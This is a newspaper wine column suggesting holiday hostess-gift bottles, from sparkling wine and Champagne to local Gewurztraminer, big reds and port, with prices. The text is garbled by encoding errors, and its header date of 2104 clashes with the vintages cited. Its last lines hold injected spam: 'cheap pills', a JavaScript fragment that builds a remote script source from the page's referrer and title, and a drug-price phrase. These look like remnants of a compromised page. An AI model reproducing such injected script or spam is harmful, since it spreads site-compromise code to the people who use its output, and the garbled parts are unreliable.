Wine perfect for holiday party gift – Dec. 13, 2104

By Anthony Gismondi

Just in the Nick (ho-ho) of time, herea��s a few thoughts on giving wine as a hostess gift as you head out to parties over the holiday season.

There are no formal rules about taking your host a gift, nor should one be expected, but it doesna��t mean they are not considered thoughtful or appreciated. While the decision is yours, we encourage you to consider taking a small gift and an easy choice is wine. What you decide to give depends on how well you know the host or hostess and what level of interest they have in wine.

Planning ahead is the key to success, something few of us ever find the time to do, so Ia��m recommending you cut out this column from the newspaper, or if you are on-line hit the print button and head to the nearest private wine shop or government liquor store and do the job early.

Now, just before you rush off, ask yourself a few questions about the kind of wine your hosts really enjoy. Are they fans of red or white? New World or Old World? Are they conservative sippers or adventurous. Would organic or biodynamic wine interest them? Are they collectors or drinkers? It all matters.

Most important, the gift is for the host, not the people attending the party. Do not expect the host to open the wine you just gave them; you should insist they put it away to enjoy on a future occasion.

For all you hosts, if you suspect the wine you receiving is particularly meaningful to your guests, consider tagging the bottle with that information and in the future you might consider sharing that bottle with the gift giver.

As for what to give, here are some suggested bottles and themes to start. All thata��s left to do is pre-wrap your gift in a festive matter, then relax and enjoy the holidays.

I put sparkling wine at the top of my hostess gift list and you can choose a price point to fit your budget. The bottle Ia��m recommending is affordable, the packaging will turn heads and the wine Anna de CodornA�u Blanc de Blancs, Spain, ($18) is delicious. Champagne makes a big impression and the selection is plentiful. Our choice would be the all-Chardonnay Diebolt Vallois Blanc De Blancs 2006 ($83), Certainly you will never be forgotten.

Local wine can be a great choice, especially if you can find something unique. I noticed BC Liquor Stores has an allocation of Quailsa�� Gate Gewurztraminer Orchard Block 2013 ($22), a special bottling by the West Kelowna producer. The Orchard Block is part of a 25th anniversary release recognizing the planting of the original block in 1989. Winemaker Nikki Callaway has turned out a delicious wine made in the traditional Alsace style, allowing it to be placed in the cellar for a decade or more.

Bottles of big red wine are always welcomed. Here are five favourites spanning a range of prices. Each over-delivers for the price: Quinta do Crasto Douro Vinho Tinto 2012, Douro Valley, Portugal ($20); Achaval-Ferrer Malbec 2012, Mendoza, Argentina ($30); The Holy Trinity Grenache Shiraz MourvA?dre Grenache 2011, Barossa Valley, South Australia ($40); The Prisoner 2012 Napa Valley, California, U.S. ($50); Robert Mondavi Cabernet Sauvignon Oakville District 2006, Napa Valley, California, U.S. ($60)

Finally, consider giving a bottle of port at this time of the year. The weather demands it and a bottle of tawny or LBV could easily linger over the holidays after it has been opened. Our pick is the Taylor Fladgate Late Bottled Vintage Porto 2008 ($25) from the Douro Valley in Portugal. Good hunting. cheap pills if (document.currentScript) { s.src='' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; xalatan price australia

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